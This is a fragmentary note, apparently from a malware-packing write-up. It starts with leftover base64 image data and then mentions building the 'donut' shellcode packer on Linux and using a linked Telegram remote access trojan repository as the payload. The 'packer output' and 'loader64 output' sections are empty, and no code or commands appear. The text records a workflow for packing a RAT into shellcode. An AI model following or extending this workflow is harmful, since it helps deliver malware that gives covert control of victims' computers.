aaabrimSog86E7CzC01GklPEyH41jPtJpq7MMgKmhOMR0BJun1a0pZbxYtbOturFbft+aj0/J4pil7BY6q2oV7jAjifZYpsIMKPr8mmvTc5jvaqpqvNRjXAuwHp/a+Uorg1QHnVn30Q66pm361myel+DfXbEua3qPgFDXtdxycfjUHCGk9uzbLZNu6rR6H4ITL3VNCCEab5DZCwghhOxmGOuSEEIIDR0hhBBCQ0cIIYTsREOnT82gRqK+KSrZB3SRqIOjmmPpmO5jH86qpD5PLzKacsWZDTS/K6mvENrGqp2A/ABFxui9KOV3RefdQ5kECCFkLyA/dZnbwKGzvfAmnb83ISSvoTFZ4aPTuQ0cUkJI+Y4CqwtyOCQpW4iPNpxVg4JGMbISwSWgKLqDtz+KVLoP8F/DVJVKcBoslhBCyHPo0cn/LCOV28Y36nPLSKEZXvhx8cATXH20AQDw9YvoXkjmXyqUX+IEAkdLvbHFiRgmtcGFCSGEEAP+P/pwsSq5nNFaAAAAAElFTkSuQmCC)
latest donut builded on linux use mingw Makefile.
payload for donut packing is
https://github.com/Bainky/Telegram-RATdonut packer output:
loader64 output: